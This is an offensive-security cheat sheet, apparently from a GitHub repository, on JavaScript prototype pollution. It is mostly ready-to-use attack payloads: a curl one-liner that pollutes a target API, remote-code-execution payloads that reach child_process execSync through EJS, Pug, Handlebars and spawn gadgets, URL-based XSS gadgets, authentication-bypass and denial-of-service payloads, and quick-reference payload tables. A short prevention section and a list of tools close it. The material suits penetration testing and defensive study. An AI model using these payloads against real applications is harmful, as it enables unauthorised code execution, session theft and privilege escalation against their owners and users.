Skip to content

Latest commit

 

History

History
463 lines (343 loc) · 7.95 KB

File metadata and controls

463 lines (343 loc) · 7.95 KB

Prototype Pollution

Table of Contents


Overview

Prototype Pollution is a JavaScript vulnerability that allows attackers to modify the prototype of base objects (like Object.prototype), affecting all objects in the application.

Impact:

  • Remote Code Execution (RCE)
  • Cross-Site Scripting (XSS)
  • Denial of Service (DoS)
  • Authentication Bypass

Server-Side Prototype Pollution

Quick Check (One-liner)

# Quick prototype pollution test
curl -X POST http://$rhost/api -H 'Content-Type: application/json' -d '{"__proto__":{"admin":true}}' && curl http://$rhost/api/admin

JSON Merge Operations

Vulnerable merge function

// Vulnerable code
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

Exploit payload

{
    "__proto__": {
        "isAdmin": true
    }
}

Common Vulnerable Functions

Library Function
lodash _.merge(), _.mergeWith(), _.set()
jQuery $.extend(true, {}, obj)
Hoek merge()
deeps extend()

Express.js Body Parser

POST request with pollution

POST /api/user HTTP/1.1
Content-Type: application/json

{
    "username": "test",
    "__proto__": {
        "admin": true
    }
}

Alternative keys

{"constructor": {"prototype": {"admin": true}}}

Client-Side Prototype Pollution

DOM-based Pollution

Via URL parameters

https://target.com/?__proto__[admin]=true
https://target.com/?__proto__.admin=true
https://target.com/#__proto__[admin]=true

Via URL fragment

https://target.com/#constructor.prototype.admin=true

jQuery Pollution

Via $.extend

let malicious = JSON.parse('{"__proto__": {"xss": "<img src=x onerror=alert(1)>"}}');
$.extend(true, {}, malicious);

Common Entry Points

  • URL query parameters
  • URL hash fragments
  • postMessage data
  • Web storage (localStorage/sessionStorage)
  • JSON responses

Detection

Manual Testing

Test payloads for JSON body

{"__proto__": {"polluted": true}}
{"constructor": {"prototype": {"polluted": true}}}

Check if pollution worked

// In browser console or Node.js
console.log({}.polluted); // Should be true if vulnerable

URL Parameter Testing

?__proto__[test]=polluted
?__proto__.test=polluted
?constructor[prototype][test]=polluted

Detection Script

// Check for existing pollution
function checkPollution() {
    const obj = {};
    if (obj.polluted) {
        console.log("Object.prototype is polluted!");
        console.log("Polluted properties:", Object.keys(Object.prototype));
    }
}

// Test pollution
function testPollution(payload) {
    try {
        const parsed = JSON.parse(payload);
        Object.assign({}, parsed);
        return {}.testProp !== undefined;
    } catch (e) {
        return false;
    }
}

Server-Side Detection

Node.js status check endpoint

// Add to Express app for testing
app.get('/debug/proto', (req, res) => {
    const obj = {};
    res.json({
        polluted: Object.keys(Object.prototype).length > 0,
        properties: Object.keys(Object.prototype)
    });
});

Exploitation

Remote Code Execution (RCE)

Exploiting child_process.spawn

{
    "__proto__": {
        "shell": "/proc/self/exe",
        "argv0": "console.log(require('child_process').execSync('id').toString())//"
    }
}

Via NODE_OPTIONS

{
    "__proto__": {
        "NODE_OPTIONS": "--require /proc/self/fd/0"
    }
}

EJS Template Engine RCE

{
    "__proto__": {
        "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
    }
}

Pug Template Engine RCE

{
    "__proto__": {
        "block": {
            "type": "Text",
            "line": "process.mainModule.require('child_process').execSync('id')"
        }
    }
}

Handlebars RCE

{
    "__proto__": {
        "type": "Program",
        "body": [{
            "type": "MustacheStatement",
            "path": "process.mainModule.require('child_process').execSync('id')",
            "params": [],
            "hash": null
        }]
    }
}

Gadgets

XSS Gadgets (Client-Side)

innerHTML gadget

?__proto__[innerHTML]=<img src=x onerror=alert(1)>

srcdoc gadget

?__proto__[srcdoc]=<script>alert(1)</script>

data-* attributes

?__proto__[data-bind]=<img src=x onerror=alert(1)>

Authentication Bypass

isAdmin property

{"__proto__": {"isAdmin": true}}
{"__proto__": {"admin": true}}
{"__proto__": {"role": "admin"}}

Bypass authentication checks

{"__proto__": {"authenticated": true}}
{"__proto__": {"verified": true}}

DoS Gadgets

toString override

{
    "__proto__": {
        "toString": "crash"
    }
}

Length manipulation

{
    "__proto__": {
        "length": 9999999999
    }
}

Common Payloads

JSON Payloads

// Basic pollution
{"__proto__": {"polluted": true}}

// Constructor path
{"constructor": {"prototype": {"polluted": true}}}

// Nested pollution
{"a": {"__proto__": {"polluted": true}}}

// Array pollution
[{"__proto__": {"polluted": true}}]

URL Payloads

# Query string
?__proto__[polluted]=true
?__proto__.polluted=true
?constructor[prototype][polluted]=true

# Hash fragment
#__proto__[polluted]=true
#__proto__.polluted=true

Deep Property Access

{
    "__proto__": {
        "__proto__": {
            "polluted": true
        }
    }
}

Prevention

Safe Merge Functions

// Safe merge that ignores __proto__
function safeMerge(target, source) {
    for (let key in source) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;
        }
        if (typeof source[key] === 'object' && source[key] !== null) {
            target[key] = safeMerge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

Object.create(null)

// Create object without prototype
const safeObj = Object.create(null);

Object.freeze

// Freeze Object.prototype
Object.freeze(Object.prototype);

Tools

Tool Description
PPScan Server-side prototype pollution scanner
DOM Invader Burp Suite extension for DOM-based pollution
ppfuzz Prototype pollution fuzzer

Burp Suite Detection

  1. Install DOM Invader extension
  2. Enable prototype pollution detection
  3. Browse application
  4. Check for pollution indicators

Quick Reference

Detection Payloads

Context Payload
JSON Body {"__proto__": {"test": true}}
URL Param ?__proto__[test]=true
URL Hash #__proto__[test]=true

RCE Payloads by Template

Template Property
EJS outputFunctionName
Pug block.type
Handlebars type, body

Bypass Payloads

Goal Payload
Admin access {"__proto__": {"isAdmin": true}}
Auth bypass {"__proto__": {"authenticated": true}}
Role escalation {"__proto__": {"role": "admin"}}

📚 See Also

Related Web Attacks